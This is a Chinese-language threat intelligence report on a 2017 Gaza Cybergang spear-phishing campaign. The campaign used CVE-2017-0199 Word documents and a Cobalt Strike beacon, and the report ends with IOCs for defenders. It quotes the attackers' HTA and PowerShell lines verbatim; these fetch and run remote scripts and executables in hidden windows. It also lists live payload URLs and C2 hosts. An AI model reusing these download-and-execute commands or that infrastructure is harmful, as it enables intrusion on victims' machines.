事件背景
2017年6月下旬, 奇安信威胁情报中心发现了Gaza Cybergang APT事件的新样本,其特点是恶意代码完全使用网上流行的标准攻击框架Cobalt Strike生成,配合CVE-2017-0199漏洞通过鱼叉邮件投递,本文档对并对此次攻击事件的攻击链条进行梳理,并对使用的木马相关技术进行分析。
样本分析
Hash | 004ef1209458bf6056147d1ce001fe9d |
文件类型 | Word文档 |
文件大小 | 2.5 MB (2592858 bytes) |
文件名 | رارات اللجنة المركزية.doc (中央委员会的决定.doc) |
该文档所利用的漏洞为CVE-2017-0199,该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, URL Moniker通过识别响应头中content-type的字段信息最后调用mshta.exe将下载到的HTA文件执行起来。
可以看到下载地址为http://138[.]68.242.68:820/word.hta
Hta的代码如下:
a=new ActiveXObject('WScript.Shell');
a.run('%windir%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -nop -c "iex(New-Object Net.WebClient).DownloadString(\'https://gist.githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1\')"', 0, true);
window.close();
其会启用powershell去下载:
https://gist[.]githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1
1.ps1其实也是一个downloader,从https://drive[.]google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU下载一个PE文件并保存为%appdata%目录下的ps.exe。
powershell.exe -command PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://drive.google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU',"$env:APPDATA\ps.exe"\);Start-Process ("$env:APPDATA\ps.exe")
ps.exe是一个sfx文件,解压出来notepad.exe是一个dropper,其会在temp目录释放一个powershell脚本,然后以"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -noProfile -ExecutionPolicy Bypass -File "C:\Documents and Settings\Administrator\Local Settings\Temp\3A.tmp\3B.ps1"
执行该脚本。
Powershell脚本的功能也非常简单,将内置的字符串base64decode后,得到一个PE文件(beacon_dll.dll),然后CreateThread一个新线程,将这个dll加载起来。
beacon_dll.dll是使用cobalt strike攻击框架生成的标准攻击载荷。其使用了一种叫做Reflective Load的技术,也就是在PE头部插入shellcode并实现一个模拟加载dll的导出函数,在shellcode中调用该导出函数将自身加载进来,并以fdwReason = 4来调用DllMain,这样做的好处有两个:
- 可以直接将dll当成shellcode加载\注入到内存中从MZ头开始执行;
- 正常地加载dll不会执行到功能流程(因为在MSDN中指明了fdwReason的值只能为0、1、2、3)。
MZ头部的shellcode如下:
实现自加载的导出函数的校验PE头部分代码:
DllMain中代码:
可以看到,只有在fdwReason == 4时才会进入真正的功能流程,进入该流程后,首先将数据节偏移为 0x2E040,大小为 0x610的数据解密,解密方式是xor 0x69, 解密出的数据中包含了C&C, lol[.]mynetav.org。
然后开始连接C&C服务器,这里支持dns_text,http,smb,tcp等多种协议的通信方式:
最后进入的就是远控功能部分了,由于是Cobalt Strike生成的标准载荷,功能包括显示应用信息、显示机器的凭证信息,文件下载,查看事件日志,键盘记录,获取代理信息,屏幕截图,加载脚本等等..... 具体功能就不再分析了。
扩展与关联分析
使用奇安信威胁情报中心的威胁情报平台对样本连接的C&C地址(138.68.242.68)做进一步关联,发现了一个新的样本:
Hash | 87a67371770fda4c2650564cbb00934d |
文件类型 | Word文档 |
文件大小 | 2.5 MB (2592858 bytes) |
文件名 | محضر اجتماع مركزية فتح الليلة.doc (中心开幕之夜的会议纪要.doc) |
该样本与上面提到的样本几乎完全一致,只是连接的url变成了http://138[.]68.242.68:808/word.hta
另外我们发现lol.mynetav.org解析到的ip地址就是138.68.242.68,并且有一个域名ksm5sksm5sksm5s.zzux.com也解析到了这个ip上,而ksm5sksm5sksm5s.zzux.com这个域名,是Gaza Cybergang攻击事件(Gaza Cybergang APT活动是在2015年9月被Kaspersky公开揭露出来的一个APT组织,最早的活动可以追溯到2012年。相关行动的主要使用的攻击方式:鱼叉邮件,涉及行业:政治,受影响国家:埃及、阿联酋、也门)的其中一个C&C。 综合上面提到的文档标题、内容和来源,我们认为这次事件应该是Gaza Cybergang APT活动的又一次攻击活动。
IOC
文件名 |
---|
محضر اجتماع مركزية فتح الليلة.doc |
رارات اللجنة المركزية.doc |
Ps.exe |
MD5 |
---|
87a67371770fda4c2650564cbb00934d |
004ef1209458bf6056147d1ce001fe9d |
2b3df594e5d73a95c9f2d820072b067a |
bfefedb094f40c276bf1ae26b225e310 |
4f3b1a2088e473c7d2373849deb4536f |
下载链接 |
---|
https://doc-0k-2g-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/jft1kksjnhmtb1r0jdudcme1r83f05an/1497996000000/00086189316172082427/*/0B1NUTMCAOKBTdVQzTXlUNHBmZUU?e=download |
https://drive.google.com/uc?export=download&id=0B1NUTMCAOKBTdVQzTXlUNHBmZUU |
http://138.68.242.68:820/word.hta |
http://138.68.242.68:808/word.hta |
https://gist.githubusercontent.com/0lol0/142364f6926d01c9b050cbeae12cbf59/raw/89e00b0bbd830e7779301f642543be9b0bcddeb3/1.ps1 |
http://lol.mynetav.org:3737/ptj |
C&C |
---|
lol.mynetav.org |
138.68.242.68 |